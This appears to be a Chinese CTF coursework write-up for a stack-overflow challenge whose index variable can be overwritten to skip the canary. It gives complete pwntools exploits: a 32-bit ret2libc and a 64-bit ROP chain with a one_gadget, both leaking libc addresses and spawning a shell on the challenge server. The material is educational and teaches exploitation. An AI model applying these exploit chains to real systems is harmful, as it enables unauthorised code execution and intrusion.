32位题目地址:nc 202.112.51.157 9001
64位题目地址:nc 202.112.51.157 9002
题目文件:https://xuanxuanblingbling.github.io/assets/pwn/pwn.zip
本题来自于清华大学张超老师的软件漏洞挖掘与利用的课程作业
32位
检查保护
检查保护,栈不可执行,栈有canary防护
➜ file vul32
vul32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=8f8a04cdb594acc212782825aa2100417be4b091, not stripped
➜ checksec vul32
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000
漏洞点
拽入ida,主函数会调用dovuln函数,看名字也知道是漏洞函数
int dovuln()
{
int v0; // eax
char buf; // [esp+4h] [ebp-44h]
char v3[51]; // [esp+5h] [ebp-43h]
int v4; // [esp+38h] [ebp-10h]
unsigned int v5; // [esp+3Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(v3, 0, 0x30u);
v4 = 0;
while ( 1 )
{
if ( read(0, &buf, 1u) != 1 )
exit(0);
if ( buf == 10 )
break;
v0 = v4++;
v3[v0] = buf;
}
return puts(v3);
}
v5是4个字节canary,然后用v4++做为数组的下标,利用read函数循环给栈上的数组v3赋值,当收到换行符的时候停止赋值,很明显存在栈溢出,那么如何绕过canary保护呢?我们可以观察一下栈的结构,在ida中双击局部变量即可进入如下视图:
-00000044 buf db ?
-00000043 v3 db 51 dup(?)
-00000010 v4 dd ?
-0000000C v5 dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
v5即canary,能保护其地址往上的内存,这里的视图是往下的。所以当v3发生溢出的时候,v4这个变量是可以被覆盖掉的,而v4这个变量本身是要赋值的数组的下标,所以可以直接修改v4的值,使其接下来要写入的内存v3[v4]
正好跳过canary继续往下写,则这道题到此就变成一道没有canary保护的栈溢出啦!是不是这样呢?我们做一个实验:
➜ python -c "print '1'*1000" | ./vul32
Plz input something:
1111111111111111111111111111111111111111111111111111
➜ python -c "print 'A'*1000" | ./vul32
Plz input something:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[1] 2536 done python -c "print 'A'*1000" |
2537 segmentation fault (core dumped) ./vul32
给程序1000个字符A,报错退出,给1000个字符1,居然没事,为什么?因为字符1的ascii为0x31,即49,所以当覆盖到v4时,继续从v3[49]
处继续覆盖,然后继续用49覆盖v4,所以程序一直可以运行不会崩掉。那要把v4写成什么值呢?我们可以利用上图ida分析的结果直接计算,也可以利用gdb进行调试然后直接看出应该赋值给多少。v3的51个字节,然后是v4的4个字节,然后是v5的4个字节,然后闲置的8个字节,之后便可覆盖ebp,总共是51+4+4+8=67,为字母C。
调试问题
这里我们用gdb调试一下看看是否能控制ebp和eip,这里发现一个pwntool的神坑,琢磨了一个多小时为啥断点断不下,才发现我如果这么写,断点就断不下
from pwn import *
io = process("./vul32")
gdb.attach(io,"b * 0x08048641")
payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
io.recv()
io.sendline(payload)
io.interactive()
但是如果我这么写,断点就能断下
from pwn import *
myelf = ELF("./vul32")
io = process(myelf.path)
gdb.attach(io,"b * 0x08048641")
payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
io.recv()
io.sendline(payload)
io.interactive()
不知道为啥,不过刚开始用pwntools的gdb模块时还有一种情况经常会导致调试失败,就是最后没有调用interactive()等待,这样的话python进程运行完就会退出,启动的被调试的进程也会退出导致无法调试。总之用ELF函数,然后再用path属性传给process函数时,调试可以正常进行。
劫持EIP和EBP
from pwn import *
myelf = ELF("./vul32")
io = process(myelf.path)
gdb.attach(io,"b * 0x08048641")
payload = 'a'*51+'C'+p32(0xb19b00b5)+p32(0xdeadbeef)
payload += p32(0)+p32(1)+p32(2)+p32(3)
io.recv()
io.sendline(payload)
io.interactive()
按照如上脚本启动调试,在调试窗口用命令c到达我们的断点处,然后用n命令单步执行,然后直接一直按回车就可以继续单步执行,回车是重复上一条命令,执行完leave后可见EBP已经覆盖为0xb19b00b5
[----------------------------------registers-----------------------------------]
EAX: 0x35 ('5')
EBX: 0x0
ECX: 0x0
EDX: 0xf7ef8870 --> 0x0
ESI: 0xf7ef7000 --> 0x1b1db0
EDI: 0xf7ef7000 --> 0x1b1db0
EBP: 0xb19b00b5
ESP: 0xffde93cc --> 0xdeadbeef
EIP: 0x804865b (<dovuln+144>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048653 <dovuln+136>: je 0x804865a <dovuln+143>
0x8048655 <dovuln+138>: call 0x8048460 <__stack_chk_fail@plt>
0x804865a <dovuln+143>: leave
=> 0x804865b <dovuln+144>: ret
0x804865c <main>: lea ecx,[esp+0x4]
0x8048660 <main+4>: and esp,0xfffffff0
0x8048663 <main+7>: push DWORD PTR [ecx-0x4]
0x8048666 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffde93cc --> 0xdeadbeef
0004| 0xffde93d0 --> 0x0
0008| 0xffde93d4 --> 0x1
0012| 0xffde93d8 --> 0x2
0016| 0xffde93dc --> 0x3
0020| 0xffde93e0 --> 0xf7ef7000 --> 0x1b1db0
0024| 0xffde93e4 --> 0xf7ef7000 --> 0x1b1db0
0028| 0xffde93e8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804865b in dovuln ()
继续执行,可见EIP已经覆盖为0xdeadbeef
[----------------------------------registers-----------------------------------]
EAX: 0x35 ('5')
EBX: 0x0
ECX: 0x0
EDX: 0xf7ef8870 --> 0x0
ESI: 0xf7ef7000 --> 0x1b1db0
EDI: 0xf7ef7000 --> 0x1b1db0
EBP: 0xb19b00b5
ESP: 0xffde93d0 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffde93d0 --> 0x0
0004| 0xffde93d4 --> 0x1
0008| 0xffde93d8 --> 0x2
0012| 0xffde93dc --> 0x3
0016| 0xffde93e0 --> 0xf7ef7000 --> 0x1b1db0
0020| 0xffde93e4 --> 0xf7ef7000 --> 0x1b1db0
0024| 0xffde93e8 --> 0x0
0028| 0xffde93ec --> 0xf7d5d637 (<__libc_start_main+247>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xdeadbeef in ?? ()
可以看到我们已经成功的控制了EIP,可以控制程序流了,不过这就万事大吉了么?劫持了程序流之后劫持到哪才能利用呢?
ret2libc
通过刚才的分析知道,我们可以已经成功劫持EBP和EIP,并且和栈溢出一样,我们还控制了栈顶的数据。但是这题栈不可执行,不能把shellcode写在栈里,这个ELF文件里也没有后门函数,也没有int 0x80指令(0xcd 0x80),那么就只能想办法去跳到libc中函数去执行,那么首先必须要知道的就是libc基址。所以可以去利用题目中本身有的函数,比如write函数,将返回地址覆盖plt表中为write函数的地址,然后控制栈上的参数为一个got表中的libc函数的地址,返回地址接main函数,这样用write函数打印出一个libc函数的真实地址,这里我用的函数是read,用这个地址减去这个函数再libc中的偏移,就可以得到libc的基址,而且当这个动作完成之后我们又能回到main函数然后继续去利用这个溢出漏洞去控制程序流,我们就可以用刚才的得到的libc的基址算出其中的execve函数的真实位置,算出”/bin/sh”字符串的真实位置,然后重新布置栈,继续栈溢出就可以getshell啦!
当然也可以用one_gadget,即知道libc的基址,直接跳到one_gadget的地址即可,不过这个libc的有的限制达不到,基本都是需要控制esi,虽然可以通过ROP的方式做到,不过这题还是乖乖的用ret2libc的方法布置栈吧。
➜ one_gadget libc-2.23.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
相关参考:ret2libc-ctfwiki
exp
from pwn import *
context(arch='i386',os='linux',log_level='error')
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
myelf = ELF("./vul32")
io = remote("202.112.51.157",9001)
# io = process(myelf.path)
# gdb.attach(io,"b * main")
libc_bin_sh = libc.search("/bin/sh").next()
libc_read = libc.symbols["read"]
libc_exec = libc.symbols["execve"]
plt_write = myelf.plt["write"]
got_read = myelf.got["read"]
elf_main = myelf.symbols["main"]
payload = ""
payload += 'A'*51+"C"
payload += p32(0)+p32(plt_write)+p32(elf_main)
payload += p32(1)+p32(got_read)+p32(4)
io.recv()
io.sendline(payload)
io.recvline()
leak_read = u32(io.recv(4))
io.recv()
libc_base = leak_read - libc_read
leak_exec = libc_base + libc_exec
leak_bin_sh = libc_base +libc_bin_sh
payload = ""
payload += 'B'*51+"C"
payload += p32(0)+p32(leak_exec)+p32(elf_main)
payload += p32(leak_bin_sh)+p32(0)+p32(0)
io.sendline(payload)
io.sendline("cat /flag")
io.interactive()
flag{__you_are_so_Cu7e_ls}
64位
区别
题目代码是一样的,只不过是编译的时候没有用-m32编译选项,通过分析,发现栈上的返回地址和v3变量的偏移发生了变化。而且32位下的利用方式不再有效,因为64位下函数的参数传递不是通过栈,而是通过寄存器。而我们能控制栈上的数据,所以需要利用ROP把栈上布置好的数据想办法pop到寄存器里,然后去调用execve或者是one_gadget,就可以了。首先我们看看栈的变化:
-000000000000003F v3 db 51 dup(?)
-000000000000000C v4 dd ?
-0000000000000008 v5 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v5的canary变成了8个字节,所以是51+8+4=63,就是’?’这个字符,即控制v4为’?’
ROP
那么如何泄露一个libc函数地址呢,32位下我用的是write函数,有三个参数,64位下前三个参数所在到的寄存器是rdi,rsi,rdx,利用ROPgadget寻找相应指令
➜ ROPgadget --binary vul64 | grep "pop rdi"
0x0000000000400933 : pop rdi ; ret
➜ ROPgadget --binary vul64 | grep "pop rsi"
0x0000000000400931 : pop rsi ; pop r15 ; ret
➜ ROPgadget --binary vul64 | grep "pop rdx"
发现没有找到pop rdx,而且调试发现如果不修改rdx时,劫持到这之后rdx的值非常大,显然会出错,那么我们就换个函数puts,不过puts函数遇到0x00就会停止,是否能成功的输出got表中的函数地址呢?我们尝试一下,利用如下代码:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
myelf = ELF("./vul64")
io = process(myelf.path)
libc_read = libc.symbols['read']
plt_puts = myelf.plt['puts']
got_read = myelf.got['read']
elf_main = myelf.symbols['main']
print "libc_read: "+str(hex(libc_read))
rop_pop_rdi = 0x400933
payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(elf_main)
io.recv()
io.sendline(payload)
io.recv()
io.interactive()
发现如图:
因为八个字节的是小端存储的,所以除了高位的两个字节的0x00,没有打印出来,剩下的信息是完整。这里我挑的函数是read,最低的一个字节是0x50。当然如果你挑那个函数最低位正好是0x00,也许你应该换个函数试试。所以这里打印了6个字节的函数地址,一会处理的时候要小心,从8个字节的输出里搞出6个字节。然后就是找找有没有可以用的one_gadget啦:
➜ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
第一个好像不行,测试最后一个可以,完整的exp如下
exp
from pwn import *
context(arch='amd64',os='linux',log_level='error')
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
myelf = ELF("./vul64")
io = remote("202.112.51.157",9002)
# io = process(myelf.path)
# gdb.attach(io,"b * main")
libc_read = libc.symbols['read']
plt_puts = myelf.plt['puts']
got_read = myelf.got['read']
elf_main = myelf.symbols['main']
rop_pop_rdi = 0x400933
rop_one_gadget = 0xf1147
payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(elf_main)
io.recv()
io.sendline(payload)
io.recvline()
leak_read = u64(io.recv(8))&0x0000ffffffffffff
libc_base = leak_read - libc_read
one_gadget = libc_base + rop_one_gadget
payload = ""
payload += 'A'*51+'?'
payload += p64(0)
payload += p64(one_gadget)
io.recv()
io.sendline(payload)
io.sendline("cat /flag")
io.interactive()
flag{__R0p_1s_5unn9}